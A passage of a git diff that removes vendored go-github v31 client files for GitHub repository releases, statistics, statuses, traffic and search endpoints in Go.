return nil, nil, err - } - - release := new(RepositoryRelease) - resp, err := s.client.Do(ctx, req, release) - if err != nil { - return nil, resp, err - } - return release, resp, nil -} - -// repositoryReleaseRequest is a subset of RepositoryRelease and -// is used internally by CreateRelease and EditRelease to pass -// only the known fields for these endpoints. -// -// See https://github.com/google/go-github/issues/992 for more -// information. -type repositoryReleaseRequest struct { - TagName *string `json:"tag_name,omitempty"` - TargetCommitish *string `json:"target_commitish,omitempty"` - Name *string `json:"name,omitempty"` - Body *string `json:"body,omitempty"` - Draft *bool `json:"draft,omitempty"` - Prerelease *bool `json:"prerelease,omitempty"` -} - -// CreateRelease adds a new release for a repository. -// -// Note that only a subset of the release fields are used. -// See RepositoryRelease for more information. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#create-a-release -func (s *RepositoriesService) CreateRelease(ctx context.Context, owner, repo string, release *RepositoryRelease) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases", owner, repo) - - releaseReq := &repositoryReleaseRequest{ - TagName: release.TagName, - TargetCommitish: release.TargetCommitish, - Name: release.Name, - Body: release.Body, - Draft: release.Draft, - Prerelease: release.Prerelease, - } - - req, err := s.client.NewRequest("POST", u, releaseReq) - if err != nil { - return nil, nil, err - } - - r := new(RepositoryRelease) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - return r, resp, nil -} - -// EditRelease edits a repository release. -// -// Note that only a subset of the release fields are used. -// See RepositoryRelease for more information. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#edit-a-release -func (s *RepositoriesService) EditRelease(ctx context.Context, owner, repo string, id int64, release *RepositoryRelease) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d", owner, repo, id) - - releaseReq := &repositoryReleaseRequest{ - TagName: release.TagName, - TargetCommitish: release.TargetCommitish, - Name: release.Name, - Body: release.Body, - Draft: release.Draft, - Prerelease: release.Prerelease, - } - - req, err := s.client.NewRequest("PATCH", u, releaseReq) - if err != nil { - return nil, nil, err - } - - r := new(RepositoryRelease) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - return r, resp, nil -} - -// DeleteRelease delete a single release from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#delete-a-release -func (s *RepositoriesService) DeleteRelease(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d", owner, repo, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// ListReleaseAssets lists the release's assets. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#list-assets-for-a-release -func (s *RepositoriesService) ListReleaseAssets(ctx context.Context, owner, repo string, id int64, opts *ListOptions) ([]*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d/assets", owner, repo, id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var assets []*ReleaseAsset - resp, err := s.client.Do(ctx, req, &assets) - if err != nil { - return nil, resp, err - } - return assets, resp, nil -} - -// GetReleaseAsset fetches a single release asset. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-single-release-asset -func (s *RepositoriesService) GetReleaseAsset(ctx context.Context, owner, repo string, id int64) (*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - asset := new(ReleaseAsset) - resp, err := s.client.Do(ctx, req, asset) - if err != nil { - return nil, resp, err - } - return asset, resp, nil -} - -// DownloadReleaseAsset downloads a release asset or returns a redirect URL. -// -// DownloadReleaseAsset returns an io.ReadCloser that reads the contents of the -// specified release asset. It is the caller's responsibility to close the ReadCloser. -// If a redirect is returned, the redirect URL will be returned as a string instead -// of the io.ReadCloser. Exactly one of rc and redirectURL will be zero. -// -// followRedirectsClient can be passed to download the asset from a redirected -// location. Passing http.DefaultClient is recommended unless special circumstances -// exist, but it's possible to pass any http.Client. If nil is passed the -// redirectURL will be returned instead. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-single-release-asset -func (s *RepositoriesService) DownloadReleaseAsset(ctx context.Context, owner, repo string, id int64, followRedirectsClient *http.Client) (rc io.ReadCloser, redirectURL string, err error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, "", err - } - req.Header.Set("Accept", defaultMediaType) - - s.client.clientMu.Lock() - defer s.client.clientMu.Unlock() - - var loc string - saveRedirect := s.client.client.CheckRedirect - s.client.client.CheckRedirect = func(req *http.Request, via []*http.Request) error { - loc = req.URL.String() - return errors.New("disable redirect") - } - defer func() { s.client.client.CheckRedirect = saveRedirect }() - - req = withContext(ctx, req) - resp, err := s.client.client.Do(req) - if err != nil { - if !strings.Contains(err.Error(), "disable redirect") { - return nil, "", err - } - if followRedirectsClient != nil { - rc, err := s.downloadReleaseAssetFromURL(ctx, followRedirectsClient, loc) - return rc, "", err - } - return nil, loc, nil // Intentionally return no error with valid redirect URL. - } - - if err := CheckResponse(resp); err != nil { - resp.Body.Close() - return nil, "", err - } - - return resp.Body, "", nil -} - -func (s *RepositoriesService) downloadReleaseAssetFromURL(ctx context.Context, followRedirectsClient *http.Client, url string) (rc io.ReadCloser, err error) { - req, err := http.NewRequest("GET", url, nil) - if err != nil { - return nil, err - } - req = withContext(ctx, req) - req.Header.Set("Accept", "*/*") - resp, err := followRedirectsClient.Do(req) - if err != nil { - return nil, err - } - if err := CheckResponse(resp); err != nil { - resp.Body.Close() - return nil, err - } - return resp.Body, nil -} - -// EditReleaseAsset edits a repository release asset. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#edit-a-release-asset -func (s *RepositoriesService) EditReleaseAsset(ctx context.Context, owner, repo string, id int64, release *ReleaseAsset) (*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("PATCH", u, release) - if err != nil { - return nil, nil, err - } - - asset := new(ReleaseAsset) - resp, err := s.client.Do(ctx, req, asset) - if err != nil { - return nil, resp, err - } - return asset, resp, nil -} - -// DeleteReleaseAsset delete a single release asset from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#delete-a-release-asset -func (s *RepositoriesService) DeleteReleaseAsset(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// UploadReleaseAsset creates an asset by uploading a file into a release repository. -// To upload assets that cannot be represented by an os.File, call NewUploadRequest directly. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#upload-a-release-asset -func (s *RepositoriesService) UploadReleaseAsset(ctx context.Context, owner, repo string, id int64, opts *UploadOptions, file *os.File) (*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d/assets", owner, repo, id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - stat, err := file.Stat() - if err != nil { - return nil, nil, err - } - if stat.IsDir() { - return nil, nil, errors.New("the asset to upload can't be a directory") - } - - mediaType := mime.TypeByExtension(filepath.Ext(file.Name())) - if opts.MediaType != "" { - mediaType = opts.MediaType - } - - req, err := s.client.NewUploadRequest(u, file, stat.Size(), mediaType) - if err != nil { - return nil, nil, err - } - - asset := new(ReleaseAsset) - resp, err := s.client.Do(ctx, req, asset) - if err != nil { - return nil, resp, err - } - return asset, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_stats.go b/vendor/github.com/google/go-github/v31/github/repos_stats.go deleted file mode 100644 index 0e257bad39..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_stats.go +++ /dev/null @@ -1,226 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// ContributorStats represents a contributor to a repository and their -// weekly contributions to a given repo. -type ContributorStats struct { - Author *Contributor `json:"author,omitempty"` - Total *int `json:"total,omitempty"` - Weeks []*WeeklyStats `json:"weeks,omitempty"` -} - -func (c ContributorStats) String() string { - return Stringify(c) -} - -// WeeklyStats represents the number of additions, deletions and commits -// a Contributor made in a given week. -type WeeklyStats struct { - Week *Timestamp `json:"w,omitempty"` - Additions *int `json:"a,omitempty"` - Deletions *int `json:"d,omitempty"` - Commits *int `json:"c,omitempty"` -} - -func (w WeeklyStats) String() string { - return Stringify(w) -} - -// ListContributorsStats gets a repo's contributor list with additions, -// deletions and commit counts. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#get-contributors-list-with-additions-deletions-and-commit-counts -func (s *RepositoriesService) ListContributorsStats(ctx context.Context, owner, repo string) ([]*ContributorStats, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/contributors", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var contributorStats []*ContributorStats - resp, err := s.client.Do(ctx, req, &contributorStats) - if err != nil { - return nil, resp, err - } - - return contributorStats, resp, nil -} - -// WeeklyCommitActivity represents the weekly commit activity for a repository. -// The days array is a group of commits per day, starting on Sunday. -type WeeklyCommitActivity struct { - Days []int `json:"days,omitempty"` - Total *int `json:"total,omitempty"` - Week *Timestamp `json:"week,omitempty"` -} - -func (w WeeklyCommitActivity) String() string { - return Stringify(w) -} - -// ListCommitActivity returns the last year of commit activity -// grouped by week. The days array is a group of commits per day, -// starting on Sunday. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#get-the-last-year-of-commit-activity-data -func (s *RepositoriesService) ListCommitActivity(ctx context.Context, owner, repo string) ([]*WeeklyCommitActivity, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/commit_activity", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var weeklyCommitActivity []*WeeklyCommitActivity - resp, err := s.client.Do(ctx, req, &weeklyCommitActivity) - if err != nil { - return nil, resp, err - } - - return weeklyCommitActivity, resp, nil -} - -// ListCodeFrequency returns a weekly aggregate of the number of additions and -// deletions pushed to a repository. Returned WeeklyStats will contain -// additions and deletions, but not total commits. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#get-the-number-of-additions-and-deletions-per-week -func (s *RepositoriesService) ListCodeFrequency(ctx context.Context, owner, repo string) ([]*WeeklyStats, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/code_frequency", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var weeks [][]int - resp, err := s.client.Do(ctx, req, &weeks) - - // convert int slices into WeeklyStats - var stats []*WeeklyStats - for _, week := range weeks { - if len(week) != 3 { - continue - } - stat := &WeeklyStats{ - Week: &Timestamp{time.Unix(int64(week[0]), 0)}, - Additions: Int(week[1]), - Deletions: Int(week[2]), - } - stats = append(stats, stat) - } - - return stats, resp, err -} - -// RepositoryParticipation is the number of commits by everyone -// who has contributed to the repository (including the owner) -// as well as the number of commits by the owner themself. -type RepositoryParticipation struct { - All []int `json:"all,omitempty"` - Owner []int `json:"owner,omitempty"` -} - -func (r RepositoryParticipation) String() string { - return Stringify(r) -} - -// ListParticipation returns the total commit counts for the 'owner' -// and total commit counts in 'all'. 'all' is everyone combined, -// including the 'owner' in the last 52 weeks. If you’d like to get -// the commit counts for non-owners, you can subtract 'all' from 'owner'. -// -// The array order is oldest week (index 0) to most recent week. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#get-the-weekly-commit-count-for-the-repository-owner-and-everyone-else -func (s *RepositoriesService) ListParticipation(ctx context.Context, owner, repo string) (*RepositoryParticipation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/participation", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - participation := new(RepositoryParticipation) - resp, err := s.client.Do(ctx, req, participation) - if err != nil { - return nil, resp, err - } - - return participation, resp, nil -} - -// PunchCard represents the number of commits made during a given hour of a -// day of the week. -type PunchCard struct { - Day *int // Day of the week (0-6: =Sunday - Saturday). - Hour *int // Hour of day (0-23). - Commits *int // Number of commits. -} - -// ListPunchCard returns the number of commits per hour in each day. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#get-the-number-of-commits-per-hour-in-each-day -func (s *RepositoriesService) ListPunchCard(ctx context.Context, owner, repo string) ([]*PunchCard, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/punch_card", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var results [][]int - resp, err := s.client.Do(ctx, req, &results) - - // convert int slices into Punchcards - var cards []*PunchCard - for _, result := range results { - if len(result) != 3 { - continue - } - card := &PunchCard{ - Day: Int(result[0]), - Hour: Int(result[1]), - Commits: Int(result[2]), - } - cards = append(cards, card) - } - - return cards, resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_statuses.go b/vendor/github.com/google/go-github/v31/github/repos_statuses.go deleted file mode 100644 index cd7e424174..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_statuses.go +++ /dev/null @@ -1,130 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// RepoStatus represents the status of a repository at a particular reference. -type RepoStatus struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - URL *string `json:"url,omitempty"` - - // State is the current state of the repository. Possible values are: - // pending, success, error, or failure. - State *string `json:"state,omitempty"` - - // TargetURL is the URL of the page representing this status. It will be - // linked from the GitHub UI to allow users to see the source of the status. - TargetURL *string `json:"target_url,omitempty"` - - // Description is a short high level summary of the status. - Description *string `json:"description,omitempty"` - - // A string label to differentiate this status from the statuses of other systems. - Context *string `json:"context,omitempty"` - - Creator *User `json:"creator,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` -} - -func (r RepoStatus) String() string { - return Stringify(r) -} - -// ListStatuses lists the statuses of a repository at the specified -// reference. ref can be a SHA, a branch name, or a tag name. -// -// GitHub API docs: https://developer.github.com/v3/repos/statuses/#list-statuses-for-a-specific-ref -func (s *RepositoriesService) ListStatuses(ctx context.Context, owner, repo, ref string, opts *ListOptions) ([]*RepoStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/statuses", owner, repo, refURLEscape(ref)) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var statuses []*RepoStatus - resp, err := s.client.Do(ctx, req, &statuses) - if err != nil { - return nil, resp, err - } - - return statuses, resp, nil -} - -// CreateStatus creates a new status for a repository at the specified -// reference. Ref can be a SHA, a branch name, or a tag name. -// -// GitHub API docs: https://developer.github.com/v3/repos/statuses/#create-a-status -func (s *RepositoriesService) CreateStatus(ctx context.Context, owner, repo, ref string, status *RepoStatus) (*RepoStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/statuses/%v", owner, repo, refURLEscape(ref)) - req, err := s.client.NewRequest("POST", u, status) - if err != nil { - return nil, nil, err - } - - repoStatus := new(RepoStatus) - resp, err := s.client.Do(ctx, req, repoStatus) - if err != nil { - return nil, resp, err - } - - return repoStatus, resp, nil -} - -// CombinedStatus represents the combined status of a repository at a particular reference. -type CombinedStatus struct { - // State is the combined state of the repository. Possible values are: - // failure, pending, or success. - State *string `json:"state,omitempty"` - - Name *string `json:"name,omitempty"` - SHA *string `json:"sha,omitempty"` - TotalCount *int `json:"total_count,omitempty"` - Statuses []*RepoStatus `json:"statuses,omitempty"` - - CommitURL *string `json:"commit_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` -} - -func (s CombinedStatus) String() string { - return Stringify(s) -} - -// GetCombinedStatus returns the combined status of a repository at the specified -// reference. ref can be a SHA, a branch name, or a tag name. -// -// GitHub API docs: https://developer.github.com/v3/repos/statuses/#get-the-combined-status-for-a-specific-ref -func (s *RepositoriesService) GetCombinedStatus(ctx context.Context, owner, repo, ref string, opts *ListOptions) (*CombinedStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/status", owner, repo, refURLEscape(ref)) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - status := new(CombinedStatus) - resp, err := s.client.Do(ctx, req, status) - if err != nil { - return nil, resp, err - } - - return status, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_traffic.go b/vendor/github.com/google/go-github/v31/github/repos_traffic.go deleted file mode 100644 index 91d8570628..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_traffic.go +++ /dev/null @@ -1,141 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// TrafficReferrer represent information about traffic from a referrer . -type TrafficReferrer struct { - Referrer *string `json:"referrer,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficPath represent information about the traffic on a path of the repo. -type TrafficPath struct { - Path *string `json:"path,omitempty"` - Title *string `json:"title,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficData represent information about a specific timestamp in views or clones list. -type TrafficData struct { - Timestamp *Timestamp `json:"timestamp,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficViews represent information about the number of views in the last 14 days. -type TrafficViews struct { - Views []*TrafficData `json:"views,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficClones represent information about the number of clones in the last 14 days. -type TrafficClones struct { - Clones []*TrafficData `json:"clones,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficBreakdownOptions specifies the parameters to methods that support breakdown per day or week. -// Can be one of: day, week. Default: day. -type TrafficBreakdownOptions struct { - Per string `url:"per,omitempty"` -} - -// ListTrafficReferrers list the top 10 referrers over the last 14 days. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#list-referrers -func (s *RepositoriesService) ListTrafficReferrers(ctx context.Context, owner, repo string) ([]*TrafficReferrer, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/popular/referrers", owner, repo) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var trafficReferrers []*TrafficReferrer - resp, err := s.client.Do(ctx, req, &trafficReferrers) - if err != nil { - return nil, resp, err - } - - return trafficReferrers, resp, nil -} - -// ListTrafficPaths list the top 10 popular content over the last 14 days. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#list-paths -func (s *RepositoriesService) ListTrafficPaths(ctx context.Context, owner, repo string) ([]*TrafficPath, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/popular/paths", owner, repo) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var paths []*TrafficPath - resp, err := s.client.Do(ctx, req, &paths) - if err != nil { - return nil, resp, err - } - - return paths, resp, nil -} - -// ListTrafficViews get total number of views for the last 14 days and breaks it down either per day or week. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#views -func (s *RepositoriesService) ListTrafficViews(ctx context.Context, owner, repo string, opts *TrafficBreakdownOptions) (*TrafficViews, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/views", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - trafficViews := new(TrafficViews) - resp, err := s.client.Do(ctx, req, &trafficViews) - if err != nil { - return nil, resp, err - } - - return trafficViews, resp, nil -} - -// ListTrafficClones get total number of clones for the last 14 days and breaks it down either per day or week for the last 14 days. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#clones -func (s *RepositoriesService) ListTrafficClones(ctx context.Context, owner, repo string, opts *TrafficBreakdownOptions) (*TrafficClones, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/clones", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - trafficClones := new(TrafficClones) - resp, err := s.client.Do(ctx, req, &trafficClones) - if err != nil { - return nil, resp, err - } - - return trafficClones, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/search.go b/vendor/github.com/google/go-github/v31/github/search.go deleted file mode 100644 index c15c1f2b27..0000000000 --- a/vendor/github.com/google/go-github/v31/github/search.go +++ /dev/null @@ -1,294 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strconv" - - qs "github.com/google/go-querystring/query" -) - -// SearchService provides access to the search related functions -// in the GitHub API. -// -// Each method takes a query string defining the search keywords and any search qualifiers. -// For example, when searching issues, the query "gopher is:issue language:go" will search -// for issues containing the word "gopher" in Go repositories. The method call -// opts := &github.SearchOptions{Sort: "created", Order: "asc"} -// cl.Search.Issues(ctx, "gopher is:issue language:go", opts) -// will search for such issues, sorting by creation date in ascending order -// (i.e., oldest first). -// -// If query includes multiple conditions, it MUST NOT include "+" as the condition separator. -// You have to use " " as the separator instead. -// For example, querying with "language:c++" and "leveldb", then query should be -// "language:c++ leveldb" but not "language:c+++leveldb". -// -// GitHub API docs: https://developer.github.com/v3/search/ -type SearchService service - -// SearchOptions specifies optional parameters to the SearchService methods. -type SearchOptions struct { - // How to sort the search results. Possible values are: - // - for repositories: stars, fork, updated - // - for commits: author-date, committer-date - // - for code: indexed - // - for issues: comments, created, updated - // - for users: followers, repositories, joined - // - // Default is to sort by best match. - Sort string `url:"sort,omitempty"` - - // Sort order if sort parameter is provided. Possible values are: asc, - // desc. Default is desc. - Order string `url:"order,omitempty"` - - // Whether to retrieve text match metadata with a query - TextMatch bool `url:"-"` - - ListOptions -} - -// Common search parameters. -type searchParameters struct { - Query string - RepositoryID *int64 // Sent if non-nil. -} - -// RepositoriesSearchResult represents the result of a repositories search. -type RepositoriesSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Repositories []*Repository `json:"items,omitempty"` -} - -// Repositories searches repositories via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-repositories -func (s *SearchService) Repositories(ctx context.Context, query string, opts *SearchOptions) (*RepositoriesSearchResult, *Response, error) { - result := new(RepositoriesSearchResult) - resp, err := s.search(ctx, "repositories", &searchParameters{Query: query}, opts, result) - return result, resp, err -} - -// TopicsSearchResult represents the result of a topics search. -type TopicsSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Topics []*TopicResult `json:"items,omitempty"` -} - -type TopicResult struct { - Name *string `json:"name,omitempty"` - DisplayName *string `json:"display_name,omitempty"` - ShortDescription *string `json:"short_description,omitempty"` - Description *string `json:"description,omitempty"` - CreatedBy *string `json:"created_by,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *string `json:"updated_at,omitempty"` - Featured *bool `json:"featured,omitempty"` - Curated *bool `json:"curated,omitempty"` - Score *float64 `json:"score,omitempty"` -} - -// Topics finds topics via various criteria. Results are sorted by best match. -// Please see https://help.github.com/en/articles/searching-topics for more -// information about search qualifiers. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-topics -func (s *SearchService) Topics(ctx context.Context, query string, opts *SearchOptions) (*TopicsSearchResult, *Response, error) { - result := new(TopicsSearchResult) - resp, err := s.search(ctx, "topics", &searchParameters{Query: query}, opts, result) - return result, resp, err -} - -// CommitsSearchResult represents the result of a commits search. -type CommitsSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Commits []*CommitResult `json:"items,omitempty"` -} - -// CommitResult represents a commit object as returned in commit search endpoint response. -type CommitResult struct { - SHA *string `json:"sha,omitempty"` - Commit *Commit `json:"commit,omitempty"` - Author *User `json:"author,omitempty"` - Committer *User `json:"committer,omitempty"` - Parents []*Commit `json:"parents,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - - Repository *Repository `json:"repository,omitempty"` - Score *float64 `json:"score,omitempty"` -} - -// Commits searches commits via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-commits -func (s *SearchService) Commits(ctx context.Context, query string, opts *SearchOptions) (*CommitsSearchResult, *Response, error) { - result := new(CommitsSearchResult) - resp, err := s.search(ctx, "commits", &searchParameters{Query: query}, opts, result) - return result, resp, err -} - -// IssuesSearchResult represents the result of an issues search. -type IssuesSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Issues []*Issue `json:"items,omitempty"` -} - -// Issues searches issues via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-issues-and-pull-requests -func (s *SearchService) Issues(ctx context.Context, query string, opts *SearchOptions) (*IssuesSearchResult, *Response, error) { - result := new(IssuesSearchResult) - resp, err := s.search(ctx, "issues", &searchParameters{Query: query}, opts, result) - return result, resp, err -} - -// UsersSearchResult represents the result of a users search. -type UsersSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Users []*User `json:"items,omitempty"` -} - -// Users searches users via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-users -func (s *SearchService) Users(ctx context.Context, query string, opts *SearchOptions) (*UsersSearchResult, *Response, error) { - result := new(UsersSearchResult) - resp, err := s.search(ctx, "users", &searchParameters{Query: query}, opts, result) - return result, resp, err -} - -// Match represents a single text match. -type Match struct { - Text *string `json:"text,omitempty"` - Indices []int `json:"indices,omitempty"` -} - -// TextMatch represents a text match for a SearchResult -type TextMatch struct { - ObjectURL *string `json:"object_url,omitempty"` - ObjectType *string `json:"object_type,omitempty"` - Property *string `json:"property,omitempty"` - Fragment *string `json:"fragment,omitempty"` - Matches []*Match `json:"matches,omitempty"` -} - -func (tm TextMatch) String() string { - return Stringify(tm) -} - -// CodeSearchResult represents the result of a code search. -type CodeSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - CodeResults []*CodeResult `json:"items,omitempty"` -} - -// CodeResult represents a single search result. -type CodeResult struct { - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - SHA *string `json:"sha,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Repository *Repository `json:"repository,omitempty"` - TextMatches []*TextMatch `json:"text_matches,omitempty"` -} - -func (c CodeResult) String() string { - return Stringify(c) -} - -// Code searches code via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-code -func (s *SearchService) Code(ctx context.Context, query string, opts *SearchOptions) (*CodeSearchResult, *Response, error) { - result := new(CodeSearchResult) - resp, err := s.search(ctx, "code", &searchParameters{Query: query}, opts, result) - return result, resp, err -} - -// LabelsSearchResult represents the result of a code search. -type LabelsSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Labels []*LabelResult `json:"items,omitempty"` -} - -// LabelResult represents a single search result. -type LabelResult struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Color *string `json:"color,omitempty"` - Default *bool `json:"default,omitempty"` - Description *string `json:"description,omitempty"` - Score *float64 `json:"score,omitempty"` -} - -func (l LabelResult) String() string { - return Stringify(l) -} - -// Labels searches labels in the repository with ID repoID via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-labels -func (s *SearchService) Labels(ctx context.Context, repoID int64, query string, opts *SearchOptions) (*LabelsSearchResult, *Response, error) { - result := new(LabelsSearchResult) - resp, err := s.search(ctx, "labels", &searchParameters{RepositoryID: &repoID, Query: query}, opts, result) - return result, 